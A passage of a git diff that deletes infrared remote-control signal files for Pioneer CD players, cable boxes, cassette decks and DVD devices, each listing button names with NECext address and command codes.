parsed -protocol: NECext -address: A2 00 00 00 -command: C2 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir deleted file mode 100644 index d80b9daef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: SKIP_I<< -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: SKIP_>>I -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1E 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 45 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 49 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 50 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 50 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 53 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 57 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5B 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5D 00 00 00 -# -name: HI-LITE_SCAN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir deleted file mode 100644 index 5ef78c501..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: A8 28 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A8 28 00 00 -command: 0A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir deleted file mode 100644 index 5fc26cb87..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir deleted file mode 100644 index 082797e3e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 0B 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 0C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 0D 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 11 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 14 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 15 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 1D 00 00 00 -# -name: C/R -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 1E 00 00 00 -# -name: AUTH -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir deleted file mode 100644 index a6589e498..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 01 00 00 00 -# -name: D._SKIP -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 06 00 00 00 -# -name: FF_>>> -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 10 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 10 00 00 00 -# -name: REW_<<< -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 11 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 11 00 00 00 -# -name: REC._MUTE -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 12 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 14 00 00 00 -# -name: PLAY_< -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 15 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 16 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 17 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 18 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 1E 00 00 00 -# -name: ALL_REWIND -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 1F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 42 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 44 00 00 00 -# -name: COUNTER_MODE -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 47 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 48 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir deleted file mode 100644 index 8636497a8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: C._MEM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: L._MEM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: OPEN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP/SLOW_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP/SLOW_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: TOP_M -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: PREV._TRACK -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir deleted file mode 100644 index e6f5bffb4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 34 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 60 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir deleted file mode 100644 index 8dfc2fa64..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISC_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISC_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MULTI_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MULTI_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir deleted file mode 100644 index 89e0db660..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 6D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 7A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 7C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir deleted file mode 100644 index 33adb0a0f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir +++ /dev/null @@ -1,752 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CONDITION_MEMORY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: A3 00 00 